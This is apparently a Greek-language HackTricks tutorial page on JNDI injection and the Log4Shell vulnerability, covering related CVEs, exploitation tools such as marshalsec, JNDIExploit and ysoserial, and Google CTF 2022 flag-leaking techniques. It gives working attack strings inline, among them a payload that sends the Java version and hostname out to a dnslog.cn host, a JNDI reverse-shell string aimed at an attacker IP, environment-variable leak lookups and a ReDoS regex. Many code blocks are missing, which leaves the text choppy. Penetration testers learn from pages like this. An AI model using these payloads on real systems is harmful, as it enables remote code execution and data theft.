Μάθετε & εξασκηθείτε στο AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας στα προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματοδοσίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παρόχων υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Κοινές SPIs περιλαμβάνουν CORBA COS, Java RMI Registry και LDAP.
* **Διευθύνσεις Αναφοράς**: Προσδιορίζει την τοποθεσία ενός αντικειμένου (π.χ., _rmi://server/ref_), επιτρέποντας άμεση ανάκτηση από τη συγκεκριμένη διεύθυνση.
* **Απομακρυσμένο Εργοστάσιο**: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση κατεβαίνει και δημιουργείται από την απομακρυσμένη τοποθεσία.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` από προεπιλογή από το JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Διαχειριστής Ασφαλείας περιορίζει περαιτέρω τι μπορεί να φορτωθεί.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` από προεπιλογή από το JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένων φορτωμένων αντικειμένων Java. Εάν οριστεί σε `true`, είναι δυνατή η εκτέλεση απομακρυσμένου κώδικα χωρίς την εποπτεία ενός Διαχειριστή Ασφαλείας.
Ωστόσο, ο**Διαχειριστής Ονομάτων**, υπεύθυνος για την επίλυση των συνδέσμων JNDI, στερείται ενσωματωμένων μηχανισμών ασφαλείας, επιτρέποντας ενδεχομένως την ανάκτηση αντικειμένων από οποιαδήποτε πηγή. Αυτό θέτει σε κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογών (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Παρά τις προστασίες, οι ευπάθειες παραμένουν, κυρίως λόγω της έλλειψης προστατευτικών μέτρων κατά της φόρτωσης JNDI από μη αξιόπιστες πηγές και της δυνατότητας παράκαμψης των υπαρχουσών προστασιών.
Ακόμα και αν έχετε ορίσει ένα **`PROVIDER_URL`**, μπορείτε να υποδείξετε ένα διαφορετικό σε μια αναζήτηση και θα προσπελαστεί: `ctx.lookup("<attacker-controlled-url>")` και αυτό είναι που θα εκμεταλλευτεί ένας επιτιθέμενος γιανα φορτώσει αυθαίρετα αντικείμενα από ένα σύστημα που ελέγχει.
* Άδειες ανάγνωσης αρχείων, είτε καθολικά (`permission java.io.FilePermission "<<ALLFILES>>", "read";`) είτε για συγκεκριμένους καταλόγους όπου μπορεί να τοποθετηθούν κακόβουλα αρχεία.
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με την CORBA, η αυθαίρετη λήψη κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κάποιος το RMI, θα χρειαστεί συνήθως να παρακάμψει τον Διαχειριστή Ασφαλείας, μια πράξη που είναι επίσης σχετική με την CORBA.
Πρώτα απ' όλα, πρέπει να διακρίνουμε μεταξύ μιας Αναζήτησης και μιας Αναφοράς.\
Μια**αναζήτηση** θα χρησιμοποιήσει ένα URL όπως `ldap://localhost:389/o=JNDITutorial`γιανα βρει το αντικείμενο JNDITutorial από έναν LDAP server και **να ανακτήσει τα χαρακτηριστικά του**.\
Μια**αναφορά** προορίζεται για**υπηρεσίες ονοματοδοσίας** καθώς θέλουμε να πάρουμε **οτιδήποτε είναι δεσμευμένο σε ένα όνομα**.
Εάν η αναζήτηση LDAP κλήθηκε με **SearchControls.setReturningObjFlag() με `true`, τότε το επιστρεφόμενο αντικείμενο θα ανακατασκευαστεί**.
Επομένως, υπάρχουν αρκετοί τρόποι γιανα επιτεθεί κανείς σε αυτές τις επιλογές.\
Ένας **επιτιθέμενος μπορεί να δηλητηριάσει τις εγγραφές LDAP εισάγοντας payloads** σε αυτές που θα εκτελούνται στα συστήματα που τις συλλέγουν (πολύ χρήσιμο για**να παραβιάσει δεκάδες μηχανήματα**αν έχετε πρόσβαση στον LDAP server). Ένας άλλος τρόπος εκμετάλλευσης αυτού θα ήταν να εκτελέσει μια **επίθεση MitM σε μια αναζήτηση LDAP**για παράδειγμα.
Σε περίπτωση που μπορείτε να **κάνετε μια εφαρμογή να επιλύσει μια JNDI LDAP UR**L, μπορείτε να ελέγξετε τον LDAP που θα αναζητηθεί, και θα μπορούσατε να στείλετε πίσω την εκμετάλλευση (log4shell).
#### Εκμετάλλευση αποσυμπίεσης
![](<../../.gitbook/assets/image(275).png>)
Η**εκμετάλλευση είναι σειριοποιημένη** και θα αποσυμπιεστεί.\
Σε περίπτωση που το `trustURLCodebase` είναι `true`, ένας επιτιθέμενος μπορεί να παρέχει τις δικές του κλάσεις στη βάση κώδικα, αλλιώς θα χρειαστεί να εκμεταλλευτεί gadgets στην classpath.
#### Εκμετάλλευση Αναφοράς JNDI
Είναι πιο εύκολο να επιτεθεί κανείς σε αυτό το LDAP χρησιμοποιώντας **αναφορές JavaFactory**:
![](<../../.gitbook/assets/image(1059).png>)
## Ευπάθεια Log4Shell
Η ευπάθεια εισάγεται στο Log4j επειδή υποστηρίζει μια [**ειδική σύνταξη**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) με τη μορφή `${prefix:name}` όπου το `prefix` είναι ένα από έναν αριθμό διαφορετικών [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) όπου το `name` θα πρέπει να αξιολογηθεί. Για παράδειγμα, `${java:version}` είναι η τρέχουσα εκτελούμενη έκδοση της Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) εισήγαγε μια δυνατότητα αναζήτησης `jndi`. Αυτή η δυνατότητα επιτρέπει την ανάκτηση μεταβλητών μέσω JNDI. Συνήθως, το κλειδί προεπιλέγεται αυτόματα με το `java:comp/env/`. Ωστόσο, εάν το κλειδί περιλαμβάνει ένα **":"**, αυτό το προεπιλεγμένο πρόθεμα δεν εφαρμόζεται.
Με ένα **: παρόν** στο κλειδί, όπως στο `${jndi:ldap://example.com/a}` δεν υπάρχει **πρόθεμα** και ο**LDAP server ερωτάται για το αντικείμενο**. Και αυτές οι αναζητήσεις μπορούν να χρησιμοποιηθούν τόσο στη ρύθμιση του Log4j όσο και όταν καταγράφονται γραμμές.
Επομένως, το μόνο που χρειάζεται γιανα αποκτήσετε RCE είναι μια **ευάλωτη έκδοση του Log4j που επεξεργάζεται πληροφορίες που ελέγχονται από τον χρήστη**. Και επειδή αυτή είναι μια βιβλιοθήκη που χρησιμοποιείται ευρέως από εφαρμογές Java για την καταγραφή πληροφοριών (συμπεριλαμβανομένων των εφαρμογών που είναι εκτεθειμένες στο Διαδίκτυο), ήταν πολύ συνηθισμένο να έχει το log4j να καταγράφει, για παράδειγμα, HTTP headers που λαμβάνονται όπως το User-Agent. Ωστόσο, το log4j **δεν χρησιμοποιείται μόνο για την καταγραφή HTTP πληροφοριών αλλά οποιαδήποτε είσοδο** και δεδομένα που υποδεικνύει ο προγραμματιστής.
## Επισκόπηση CVEs που σχετίζονται με το Log4Shell
Αυτή η ευπάθεια είναι μια κρίσιμη **ευπάθεια μη αξιόπιστης αποσυμπίεσης** στο συστατικό `log4j-core`, που επηρεάζει εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει **απομακρυσμένη εκτέλεση κώδικα (RCE)**, επιτρέποντας στους επιτιθέμενους να καταλάβουν συστήματα. Το ζήτημα αναφέρθηκε από τον Chen Zhaojun από την ομάδα Ασφαλείας της Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ελλιπής. Οι κανόνες Sigma για άμυνα είναι διαθέσιμοι ([Κανόνας 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Κανόνας 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Αρχικά αξιολογήθηκε ως χαμηλή αλλά αργότερα αναβαθμίστηκε σε κρίσιμη, αυτή η CVE είναι μια **ευπάθεια Άρνησης Υπηρεσίας (DoS)** που προκύπτει από μια ελλιπή διόρθωση στην 2.15.0 για την CVE-2021-44228. Επηρεάζει μη προεπιλεγμένες ρυθμίσεις, επιτρέποντας στους επιτιθέμενους να προκαλέσουν επιθέσεις DoS μέσω κατασκευασμένων payloads. Ένα [tweet](https://twitter.com/marcioalm/status/1471740771581652995) παρουσιάζει μια μέθοδο παράκαμψης. Το ζήτημα επιλύθηκε στις εκδόσεις 2.16.0 και 2.12.2 με την αφαίρεση προτύπων αναζήτησης μηνυμάτων και την απενεργοποίηση του JNDI από προεπιλογή.
Επηρεάζει **εκδόσεις Log4j 1.x** σε μη προεπιλεγμένες ρυθμίσεις που χρησιμοποιούν `JMSAppender`, αυτή η CVE είναι μια ευπάθεια μη αξιόπιστης αποσυμπίεσης. Δεν υπάρχει διαθέσιμη διόρθωση για τον κλάδο 1.x, ο οποίος είναι εκτός υποστήριξης, και συνιστάται η αναβάθμιση στο `log4j-core 2.17.0`.
Αυτή η ευπάθεια επηρεάζει το **πλαίσιο καταγραφής Logback**, διάδοχο του Log4j 1.x. Προηγουμένως θεωρούμενο ασφαλές, το πλαίσιο βρέθηκε ευάλωτο, και έχουν κυκλοφορήσει νεότερες εκδόσεις (1.3.0-alpha11 και 1.2.9) γιανα αντιμετωπιστεί το ζήτημα.
Το Log4j 2.16.0 περιέχει μια ευπάθεια DoS, οδηγώντας στην κυκλοφορία του `log4j 2.17.0`γιανα διορθώσει την CVE. Περισσότερες λεπτομέρειες βρίσκονται στην [αναφορά του BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Επηρεάζει την έκδοση log4j 2.17, αυτή η CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρύθμισης log4j. Περιλαμβάνει πιθανή αυθαίρετη εκτέλεση κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην [ανάρτηση του Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Αυτή η ευπάθεια είναι πολύ εύκολη να ανακαλυφθεί αν δεν προστατεύεται, καθώς θα στείλει τουλάχιστον ένα **DNS request** στη διεύθυνση που υποδεικνύετε στο payload σας. Επομένως, payloads όπως:
Σημειώστε ότι **ακόμα και αν ληφθεί ένα DNS request αυτό δεν σημαίνει ότι η εφαρμογή είναι εκμεταλλεύσιμη** (ή ακόμα και ευάλωτη), θα χρειαστεί να προσπαθήσετε να την εκμεταλλευτείτε.
Ορισμένες από τις πλατφόρμες που αναφέρθηκαν προηγουμένως θα σας επιτρέψουν να εισάγετε κάποιες μεταβλητές δεδομένων που θα καταγραφούν όταν ζητηθούν.\
Για παράδειγμα, θα μπορούσατε να ζητήσετε κάτι όπως:\
ή όπως `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** και αν ληφθεί **αίτημα DNS με την τιμή της μεταβλητής env**, γνωρίζετε ότι η εφαρμογή είναι ευάλωτη.
Οι διακομιστές που εκτελούνται σε εκδόσεις JDK άνω των 6u141, 7u131 ή 8u121 είναι προστατευμένοι από την επίθεση φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του `com.sun.jndi.ldap.object.trustURLCodebase`, που εμποδίζει το JNDI να φορτώσει μια απομακρυσμένη βάση κώδικα μέσω LDAP. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι αυτές οι εκδόσεις **δεν είναι προστατευμένες από την επίθεση αποσειριοποίησης**.
Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να εκμεταλλευτούν ένα **έμπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να χειριστούν ώστε να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για **περισσότερες πληροφορίες** (_όπως περιορισμούς σε RMI και CORBA vectors_) **ελέγξτε την προηγούμενη ενότητα Αναφοράς Ονομάτων JNDI** ή [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Χρησιμοποιήστε το εργαλείο [**marshalsec**](https://github.com/mbechler/marshalsec) (η έκδοση jar είναι διαθέσιμη [**εδώ**](https://github.com/RandomRobbieBF/marshalsec-jar)). Αυτή η προσέγγιση δημιουργεί έναν διακομιστή παραπομπής LDAP γιανα ανακατευθύνει τις συνδέσεις σε έναν δευτερεύοντα διακομιστή HTTP όπου θα φιλοξενηθεί η εκμετάλλευση:
Συγκεντρώστε το αρχείο Java σε ένα αρχείο κλάσης χρησιμοποιώντας: `javac Exploit.java -source 8 -target 8`. Στη συνέχεια, ξεκινήστε έναν **HTTP server** στον κατάλογο που περιέχει το αρχείο κλάσης με: `python3 -m http.server`. Βεβαιωθείτε ότι ο**marshalsec LDAP server** αναφέρεται σε αυτόν τον HTTP server.
**Σημείωση:** Αυτή η εκμετάλλευση εξαρτάται από τη ρύθμιση του Java γιανα επιτρέπει τη φόρτωση απομακρυσμένων κωδίκων μέσω LDAP. Αν αυτό δεν είναι επιτρεπτό, σκεφτείτε να εκμεταλλευτείτε μια αξιόπιστη κλάση για αυθαίρετη εκτέλεση κώδικα.
Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα, χρησιμοποιήστε μια διαφορετική μέθοδο γιανα εκμεταλλευτείτε αυτήν την ευπάθεια.
Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στη wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε.
Για αυτό το παράδειγμα μπορείτε απλά να εκτελέσετε αυτόν τον **ευάλωτο web server για log4shell** στη θύρα 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_στο README θα βρείτε πώς να το εκτελέσετε_). Αυτή η ευάλωτη εφαρμογή καταγράφει με μια ευάλωτη έκδοση του log4shell το περιεχόμενο της κεφαλίδας HTTP αιτήματος _X-Api-Version_.
Μετά την ανάγνωση του κώδικα μόνο για μερικά λεπτά, στα _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς δημιουργούνται οι**LDAP και HTTP servers**. Ο LDAP server θα καταλάβει ποιο payload πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον HTTP server, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **ορισμένα συγκεκριμένα gadgets** που μπορούν να χρησιμοποιηθούν γιανα εκτελέσουν την επιθυμητή ενέργεια (πιθανώς να εκτελέσουν αυθαίρετο κώδικα). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις template που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
**Θυμηθείτε να ελέγξετε το `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειαστείτε, μπορείτε να αλλάξετε την πόρτα των διακομιστών LDAP και HTTP.**
Με παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) γιανα εκμεταλλευτείτε αυτήν την ευπάθεια.\
Μπορείτε να δημιουργήσετε τις διευθύνσεις URL που θα στείλετε στο θύμα εκτελώντας:
_Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο παραγόμενο αντικείμενο java θα λειτουργήσει σε εργαστήρια όπως το **THM solar room**. Ωστόσο, αυτό γενικά δεν θα λειτουργήσει (καθώς από προεπιλογή η Java δεν είναι ρυθμισμένη να φορτώνει απομακρυσμένες βάσεις κώδικα χρησιμοποιώντας LDAP) νομίζω γιατί δεν εκμεταλλεύεται μια αξιόπιστη κλάση γιανα εκτελέσει αυθαίρετο κώδικα._
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) είναι ένα άλλο εργαλείο για τη δημιουργία **λειτουργικών συνδέσμων JNDI** και την παροχή υπηρεσιών υποβάθρου ξεκινώντας RMI server, LDAP server και HTTP server.\
Αυτή η επιλογή είναι πραγματικά χρήσιμη γιανα επιτεθεί σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Επομένως, **ysoserial** θα χρησιμοποιηθεί γιανα δημιουργήσει **σειριοποιήσεις αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets γιανα**εκτελέσουν αυθαίρετο κώδικα** (_η αξιόπιστη κλάση που εκμεταλλεύεται από το ysoserial πρέπει να χρησιμοποιείται από το θύμα java πρόγραμμα ώστε να λειτουργήσει η εκμετάλλευση_).
Χρησιμοποιώντας **ysoserial** ή [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα κατεβεί από το JNDI:
Χρησιμοποιήστε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) γιανα δημιουργήσετε **JNDI links** όπου η εκμετάλλευση θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να σερβίρετε **διαφορετικές εκμεταλλεύσεις που μπορούν να παραχθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας payloads αποσυμπίεσης** (παραγόμενα από εσάς ή το ysoserial).
Τώρα μπορείτε εύκολα να χρησιμοποιήσετε έναν παραγόμενο σύνδεσμο JNDI γιανα εκμεταλλευτείτε την ευπάθεια και να αποκτήσετε ένα **reverse shell** στέλνοντας σε μια ευάλωτη έκδοση του log4j: **`${ldap://10.10.14.10:1389/generated}`**
Σε αυτήν την [**CTF αναφορά**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) εξηγείται καλά πώς είναι **πιθανό**να**καταχραστείτε** ορισμένα χαρακτηριστικά του **Log4J**.
> Από την έκδοση 2.16.0 (για Java 8), η **λειτουργία αναζητήσεων μηνυμάτων έχει αφαιρεθεί εντελώς**. **Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν**. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει τώρα να ενεργοποιούνται ρητά.
> Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), **μόνο οι συμβολοσειρές αναζητήσεων στη διαμόρφωση επεκτείνονται αναδρομικά**; σε οποιαδήποτε άλλη χρήση, μόνο η αναζήτηση κορυφαίου επιπέδου επιλύεται, και οποιεσδήποτε εσωτερικές αναζητήσεις δεν επιλύονται.
Αυτό σημαίνει ότι από προεπιλογή μπορείτε να**ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης `jndi`**. Επιπλέον, γιανα εκτελέσετε **αναδρομικές αναζητήσεις** πρέπει να τις έχετε ρυθμίσει.
Στο [αυτό το CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) ο επιτιθέμενος έλεγχε την τιμή του `${sys:cmd}` και χρειαζόταν να εξάγει τη σημαία από μια μεταβλητή περιβάλλοντος.\
Όπως φαίνεται σε αυτή τη σελίδα στα [**προηγούμενα payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: **`${env:FLAG}`**. Σε αυτό το CTF αυτό ήταν άχρηστο, αλλά μπορεί να μην είναι σε άλλα σενάρια της πραγματικής ζωής.
Στο CTF, **δεν μπορούσες να έχεις πρόσβαση στο stderr** της εφαρμογής java χρησιμοποιώντας log4J, αλλά οι**εξαιρέσεις του Log4J αποστέλλονται στο stdout**, το οποίο εκτυπωνόταν στην εφαρμογή python. Αυτό σήμαινε ότι με την πρόκληση μιας εξαίρεσης μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση γιανα εξάγουμε τη σημαία ήταν: **`${java:${env:FLAG}}`.** Αυτό λειτουργεί επειδή **`${java:CTF{blahblah}}`** δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
Απλώς γιανα το αναφέρω, θα μπορούσες επίσης να εισάγεις νέα [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) και να προκαλέσεις εξαιρέσεις που θα καταγραφούν στο `stdout`. Για παράδειγμα:
Αυτό δεν βρέθηκε χρήσιμο γιανα εξάγουμε δεδομένα μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν από το conversion pattern, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα όπως η ανίχνευση.
Ωστόσο, είναι δυνατόν να χρησιμοποιήσεις κάποια **conversion patterns που υποστηρίζουν regexes**γιανα εξάγεις πληροφορίες από μια αναζήτηση χρησιμοποιώντας regexes και κακοποιώντας **δυαδική αναζήτηση** ή **χρονικά βασισμένες** συμπεριφορές.
Το conversion pattern **`%replace`** μπορεί να χρησιμοποιηθεί γιανα**αντικαταστήσει****περιεχόμενο** από μια **αλφαριθμητική συμβολοσειρά** ακόμη και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
Κακοποιώντας αυτή τη συμπεριφορά, θα μπορούσες να κάνεις την αντικατάσταση **να προκαλέσει μια εξαίρεση αν το regex ταίριαζε** με οτιδήποτε μέσα στη συμβολοσειρά (και καμία εξαίρεση αν δεν βρεθεί) όπως αυτό:
Όπως αναφέρθηκε στην προηγούμενη ενότητα, **`%replace`** υποστηρίζει **regexes**. Έτσι, είναι δυνατόν να χρησιμοποιηθεί payload από τη [**σελίδα ReDoS**](../regular-expression-denial-of-service-redos.md) γιανα προκαλέσει ένα **timeout** σε περίπτωση που βρεθεί η σημαία.\
Για παράδειγμα, ένα payload όπως το `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` θα ενεργοποιούσε ένα **timeout** σε εκείνο το CTF.
Σε αυτή την [**αναφορά**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιηθεί μια επίθεση ReDoS, χρησιμοποιήθηκε μια **επίθεση ενίσχυσης**γιανα προκαλέσει μια διαφορά χρόνου στην απάντηση:
> Αν η σημαία ξεκινά με `flagGuess`, η ολόκληρη σημαία αντικαθίσταται με 29 `#`-s (χρησιμοποίησα αυτό το χαρακτήρα γιατί πιθανότατα δεν θα είναι μέρος της σημαίας). **Κάθε ένα από τα 29 `#`-s αντικαθίσταται στη συνέχεια με 54 `#`-s**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, οδηγώντας σε ένα σύνολο ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> Η αντικατάσταση τόσων πολλών `#`-s θα ενεργοποιήσει το timeout των 10 δευτερολέπτων της εφαρμογής Flask, το οποίο με τη σειρά του θα έχει ως αποτέλεσμα την αποστολή του κωδικού κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά με `flagGuess`, θα λάβουμε έναν μη 500 κωδικό κατάστασης)
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.